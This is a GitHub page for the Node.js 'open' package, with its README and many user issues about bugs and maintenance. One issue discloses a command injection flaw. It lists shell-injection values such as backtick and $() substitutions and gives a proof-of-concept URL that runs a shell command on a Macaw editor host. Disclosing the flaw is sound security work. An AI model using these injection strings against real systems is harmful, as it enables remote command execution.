pwnall / node-open

open a file or uri with the users preferred application (browser, editor, etc), cross platform

open

Open a file or url in the user's preferred application.

Usage

var open = require("open");
open("http://www.google.com");

open takes an optional argument specifying the program to be used to open the file or URL.

open("http://www.google.com", "firefox");

Installation

npm install open

How it works

• on win32 uses start
• on darwin uses open
• otherwise uses the xdg-open script from freedesktop.org

Warning

The same care should be taken when calling open as if you were calling child_process.exec directly. If it is an executable it will run in a new shell.

node-open's Issues

opening two tabs on Linux

greenkeeperio/greenkeeper#143 is the upstream issue. It seems that on my system, a call like this:

open = require('open');
open("https://greenkeeper.io");

results in two tabs being opened: https and greenkeeper.io. The problem seems to be with the vendored xdg-open, using my system's xdg-open works just fine.

The escape regex matches only one quote

Should be /"/g not /"/.

jshint yields 'redefinition of open'

when using syntax checking via syntastic for example

Open(localhost) not working when run node server.js via systemd

Cannot open target that has space.

Not sure, whether #16 or #18 fix this issue, but when you pass string that has space into child_process#exec at https://github.com/pwnall/node-open/blob/master/lib/open.js#L55 if it has space it will break.
Simple workaround - adding quotes for program as arguments have now too.

node-open opens Safari even though Chrome is my default browser in mac

I found this issue when running Yeoman server

what if i dont want to open using exec

what if I want to open using child_process.spawn ?

I propose having a second method called getOpenCommand, so that I can execute the command in any way that I wish ? what are your thoughts ? i can make this change no worries.

Linux: Failed to open path with a space in the name of a folder

Trying to execute open from grunt I got the next warning:

Warning: Command failed: /bin/sh -c /run/media/lol/New Folder/node_modules/open/vendor/xdg-open "http://localhost:9000"
/bin/sh: /run/media/lol/New: No such file or directory

I've fixed it adding a function to escape the space, don't know if it's the best solution:

opener = space(path.join(__dirname, '../vendor/xdg-open'));
function space(s) {
    return s.replace(/ /g, '\\\ ');
}

Opens multiple windows

Not sure what's really happening, but when attempting open("http://localhost:8000/") it opens a new chromium-browser session with 3 tabs whose urls are:
"http://http/"
"file:///localhost"
"http://0.0.31.64/"

Any ideas?

opened links be right after last tab when I try to open multiple links at once.

I want to open a new tab right after current tab using node-open. but opened links always be right after last tab in browser when I open links using node-open. Is link supposed to be opened at last tab as implementation? Is there any ways to implement what I want technically?

Is this the official repo for the npmjs module 'open' ?

The package.json and subsequently npmjs.org references the fork https://github.com/jjrdn/node-open which doesn't actually seem active.

Add support for WSL (Windows Subsystem for Linux)

If it's possible to detect at runtime that the current platform is bash on Windows, the latest Creators Update allows launching Windows applications from within bash.
See this article.

Running explorer.exe "https://google.com" on bash seems to work - it opens the URL in whichever browser is configured to be the default.

Security Issue reported in source clear

Hi Developers,

There is a high vulnerability reported in source clear.
Refer : https://www.sourceclear.com/vulnerability-database/security/command-injection/javascript/sid-6306

Is anyone working to resolve this ?

Project status

Is this project still alive @pwnal? There are a couple of PR / issues that need to be handled. Maybe you can open this project to get some external help.

Support for multiple browsers

It would be great to specify which browser to use and in case it's not installed, fallback to the default.

open(url,browserName);

Cannot find module 'gulp-open'

Hi all,

Just a quick question.

I installed Gulp-open with the following codes on gulpfiles.js:

gulp.task( 'open', function() {
var options = {
uri: uri,
app: 'chrome' || 'google chrome' // may need to sniff for Windows/OSX to determine Chrome string
};
gulp.src( './build/' )
.pipe( open( options ) );
});

I also have gulp-connect and gulp-yargs with the following:

var src = './build',
dist = './build',
baseURL = ( argv.production === undefined ) ? src : dist,
port = ( argv.production === undefined ) ? 8000 : 8001,
uri = 'http://localhost:' + port;

gulp.task( 'connect', function() {
connect.server( {
root: baseURL,
livereload: true,
port: port
} );
} );

I'm not sure what is happening, on the package.json the dependency is there, but gulp can't find it.

Any ideas what's happening?

Thank you in advance.

Kind regards,

Fernando Fas

How to close an application ?

Hello,

Thanks to you, now I'm able to open an Excel file (it was one of my aim). But now I want to close this one with my javascript code.

Do you know something to close an application ?

Thank you !
Mathieu

Does not work with Ubuntu 13.04

jsoverson/grunt-open#5

Hi, I cannot use the grunt-plugin which uses this plugin with Ubuntu as the xdg-open command is not referenced correctly. For more details please see my previous thread linked above.

Thank you

allow "open" on windows when using an npm script?

since npm scripts don't let you run different commands depending on the platform you are on (after all, "node scripts just work") having to use "start" rather than "open" when in windows actually presents a really big problem in terms of a clean run script. The only workaround right now is to create a node script that requires open, then checks process.platform and then runs the correct open command, which feels kind of gross.

Update to xdg-open v1.1.0-rc2?

Is there any chance of updating to xdg-open v1.1.0-rc2 (from the current v1.1.0-rc1)? rc2 is available here: http://cgit.freedesktop.org/xdg/xdg-utils/ and contains this commit: http://cgit.freedesktop.org/xdg/xdg-utils/commit/?id=d1cb061c85388cb9e87a3ea902061d7b94726971 which fixes a problem I keep running into.

Does not open from Windows Service

I have a node.js app that watches a folder and opens files dropped in it in their relevant programs, when I turned it into a windows service open(file, 'program') stopped working.

Any way to pass arguments?

I wanted to see if there is any chance one could pass arguments to the open function such as:
open -a Google\ Chrome --args --disable-web-security?

[WARNING] Opening untrusted url may lead to command injection

As README saying:

The same care should be taken when calling open as if you were calling child_process.exec directly

Although the source provides a "escape" function, it only deals with double quotes: https://github.com/pwnall/node-open/blob/master/lib/open.js#L61

If provided url is untrusted, some special bash syntax can still be used, leading to command injection.

• `id`
• ${SHELL}
• $(id)

---

Here's a real world case that can be easily exploited:

Macaw editor uses this module to open url in browser.

It runs a express based http server on 0.0.0.0:5353, accepts JSON rpc request from other computers. Here's a code snippet:

/Applications/Macaw.app/Contents/www/thirdparty/preview/index.js

//open default browser
app.get('/openbrowser/:path/:file', function(req, res) {
  var file = req.param('file');
  var path = req.param('path');

  var callback = function() {
    open('http://localhost:'+app.get('port')+'/'+file);
  };

  setWatch(path, callback);

  // return 200 OK
  res.send(200);
});

A request like below will run arbitrary shell command remotely on victim's computer:

http://192.168.0.1:5353/openbrowser/aaa/`echo pwned>${PWD}tmp${PWD}1`

The team replied me that, since Macaw editor was acquired by InVision, "Macaw 1.6 will be available indefinitely, but no future development of Macaw will occur".

Open app with parameters (appName without escape)

`case 'win32':
    // if the first parameter to start is quoted, it uses that as the title
    // so we pass a blank title so we can quote the file we are opening
    if (appName) {
      opener = 'start "" ' + appName ;
    } else {
      opener = 'start ""';
    }`

it allows to : start chrome --args --auto-open-devtools-for-tabs

if fails on kde, try ...

hello,

I'm filling a bug to xdg-open actually. If you use it with kde, and have spaces in your filename. The file doesn't open correctly in some apps. Some tests bring me to change lines 477 and 478 to match "kde-open5" instead of "kde-open".

Using promises with open

Forgive me -- I'm a little new to Node and promises, but I'm trying to figure out if it's possible to hook this up to a promise.

As in, open.then(callback).

Unlike other fs operations, open doesn't seem to support a callback with error reporting.

Is there any way to signal that an file has been successfully opened, so I can run more processes?

Use execFile instead of exec when calling xdg-open script

On Linux, open.js invokes vendor/xdg-open using exec with a command string.

Because xdg-open is a local script included with the module, this causes problems in Electron applications that are packed into an ASAR archive. (ASAR tries to resolve internal paths to files in the application, but doesn't know how to handle an arbitrary command string like the ones used by this module.) This specific pitfall is documented here: http://electron.atom.io/docs/tutorial/application-packaging/#executing-binaries-inside-asar-archive

I understand this isn't the fault of this module, but it nonetheless be very helpful to switch from exec to execFile when calling the local xdg-open script if possible.

Strips querystring from URL if it precedes with # in Windows 10 - Chrome

Following code works fine - opens the exact URL in chrome.

var open = require("open");
open('http://codef0rmer.github.io/eShell/index.html#/1?name=foobar', 'chrome');

However, if Chrome is a default browser and it's not mentioned then both hash and querystrings are stripped.

var open = require("open");
open('http://codef0rmer.github.io/eShell/index.html#/1?name=foobar');

Please deprecate this npm package

Since it's no longer actively developed and recently a servere security issue popped up #67
https://nodesecurity.io/advisories/663

Merge open and opn and opener

Would it be possible for this project to merge with https://github.com/sindresorhus/opn and retire one implementation or the other with a prominent redirect? Perhaps an inactive maintainer could pass the baton?

open chrome-devtools:// url results in blank page

open("chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9229/7ba02a53-c8ec-4b45-9096-d1c7dc55f7ba", "chrome")

Opening PDF file on Heroku site?

When I'm running my Node.js application locally in my development environment, the PDF opens fine in a new tab, but when I'm on the live Heroku site, the PDF does not open at all. Any ideas on why this is happening and how to solve this issue?

An Unmaintained Package? Need CLI Commands? Moving to Opener

This issue is for those of you, like me, that have been using the open package for a long time and need more.

I have found and I am moving to the opener package

Opener compares better than open: https://npmcompare.com/compare/open,opener

Open came first but opener has overtaken in popularity: http://www.npmtrends.com/open-vs-opener

Opener has CLI commands

Parameter contains 'CD'

For example,
open(url, filePath, function (error) {})
url:http://www.lingshi.com/list/?k=%B4%F3%B0%D7%CD%C3

user IE show 'http://www.lingshi.com/list/?k=%B4%F3%B0%D7C:\Program%20Files%20(x86)\C3（'

how to solve.

thank you very much.

Question: opening the browser only once

Might be a dumb question, but do you happen to know of a trick to open a tab only once? I'm using nodemon to watch multiple servers:

nodemon server.js

So every time I change the file and hit save, a new tab is opened. I am using nodemon because it is convenient and helps me restart all the servers, so I don't have to figure out which one to restart.

Thanks!

Cannot open edge browser with url

I cannot open the edge browser with a url. If I pass "microsoft-edge:" as the browser (including the colon) with a url it will just open the edge browser on an empty page. From some local tests it looks like you need to specify the url after the colon without a space, it looks like the code here adds a space before the url.

Killing a child process

I am using node-open to create a new child process on Windows, but I want to be able to kill it later. Since open() returns a child process, I assumed that this corresponded to what I was running and tried to kill it using the .kill() method. This didn't work. Is the signal not getting to where it needs to go?

var open = require("open");
var cp = open("ChildProcess.exe");

console.log("'cp' has been opened");

setTimeout(function() {
    console.log("attempting to kill 'cp'");

    cp.kill();
}, 10000);

Note that 'ChildProcess.exe' has been tested with multiple different executables.

Syntax error on SmartOS

This may not be the right place to report this because I'm running http://yeoman.io/ but I've tracked the problem down to this module so I thought I would start here. When I run "grunt server" I get a syntax error from this module:

Running "open:server" (open) task
Warning: Command failed: /usr/local/socketwiz/node_modules/grunt- open/node_modules/open/vendor/xdg-open: line 134: syntax error at line 159: `(' unexpected
 Use --force to continue.

Aborted due to warnings.

If I run xdg-open against bash, like so, it works as expected:

$ bash /usr/local/socketwiz/node_modules/grunt-open/node_modules/open/vendor/xdg-open
   xdg-open -- opens a file or URL in the user's preferred
   application

Synopsis

   xdg-open { file | URL }

   xdg-open { --help | --manual | --version }

Use 'man xdg-open' or 'xdg-open --manual' for additional info.

However, /bin/sh points to ksh93 on my system, not bash, which I believe to be the root cause of the problem. Any ideas?

$ ll /bin/sh
lrwxrwxrwx 1 root root 5 Apr  5 02:42 /bin/sh -> ksh93

Changing the symbolic link of /bin/sh to bash doesn't seem to be an option. Here is an exchange I had on the SmartOS IRC channel about it before coming here and creating this ticket:

5:50 PM socketwiz
sh points to ksh93 is there a way to change that to say bash? and if so, would that be a bad idea? /usr/bin/sh -> ksh93
5:51 PM rmustacc
There is not really a good way to change that to bash. Unfortunately just as many things have bashisms, many things inappropriately have kshisms.
5:51 PM
Ultimately if something is referring to /bin/sh or /usr/bin/sh, it should work on both or the #! line should just simply be changed by the script.
5:52 PM
Unfortunately both bash and ksh are bad about making sure that if they're invoked as sh they actually only support sh.

Url with '#' does not work

I would like to open a url like http://localhost:8080/#/router?a=1&b=2, but the '#' is escaped , and it does not work

Webpack Uncaught TypeError: exec is not a function

Has anyone else run into this issue trying to use open with Webpack?

open.js:58 Uncaught TypeError: exec is not a functionopen @ open.js:58Profile._react2.default.createElement._react2.default.createElement._react2.default.createElement.onClick @ InfoBar.js:49ReactErrorUtils.invokeGuardedCallback @ ReactErrorUtils.js:71executeDispatch @ EventPluginUtils.js:79executeDispatchesInOrder @ EventPluginUtils.js:102executeDispatchesAndRelease @ EventPluginHub.js:43executeDispatchesAndReleaseTopLevel @ EventPluginHub.js:54forEachAccumulated @ forEachAccumulated.js:23EventPluginHub.processEventQueue @ EventPluginHub.js:259runEventQueueInBatch @ ReactEventEmitterMixin.js:18ReactEventEmitterMixin.handleTopLevel @ ReactEventEmitterMixin.js:34handleTopLevelWithoutPath @ ReactEventListener.js:93handleTopLevelImpl @ ReactEventListener.js:73Mixin.perform @ Transaction.js:136ReactDefaultBatchingStrategy.batchedUpdates @ ReactDefaultBatchingStrategy.js:62batchedUpdates @ ReactUpdates.js:94ReactEventListener.dispatchEvent @ ReactEventListener.js:204

Also:

ERROR in ./~/open/lib/open.js
Module not found: Error: Cannot resolve module 'child_process' in /node_modules/open/lib
 @ ./~/open/lib/open.js 1:11-35

Open local file with URL parameter

First, thanks for this package!

I'm trying to open a local page (not even served with a local server, just served by the filesystem itself) and supply a URL parameter, but I'm getting an error message.

Example:

var open = require('open');
open('./a/local/file.html?param=hello');

I'm guessing it interprets the entirety of the string as the filename.

Interestingly, if I pass chrome as the second argument, it successfully opens chrome, but it just uses the url ./a/local/file.html?param=hello directly rather than adding the path to the file (as it does without the url parameter).

My current workaround is to prepend __dirname to the path, but I still have to supply the second argument:

open(__dirname+'/a/local/file.html?param=hello', 'chrome');

Out-of-the-box support for this (without having to specify the secondary argument) would be nice :)

Thanks,
-Max

this opened a new page every time?

is there an api to avoid open Duplicate page?

Test don't work on Windows

This test should not work on Windows since there are not allowed filenames with quotes.
Please, remove it.

it('should open files with quotes', function (done) {
open(pathTo('with"quote.html'), done);
});

Chrome doesn't open on NPM START

Running Node 7.x on Linux Mint 18.1. When executing npm start my build process runs but my browser chrome doesn't open automatically.

Release a 1.0

If I understand correctly, this package is stable now. Therefore to make it semver compatible you guys should release a 1.0

The main benefit is that users when users do npm install --save open, npm will add ^1.0.0 to manifest instead of 0.0.5. That way users will be able to subscribe to bugfixes, it's by design in semver that non-stable software use 0.0.x and they are pinned into the manifest instead of having ~ or ^ with them

[SECURITY] Critical vulnerability

Critical Command Injection

Package open

More info https://nodesecurity.io/advisories/663

v0.0.5 needs release tag

v0.0.5 isn't released on https://github.com/pwnall/node-open/releases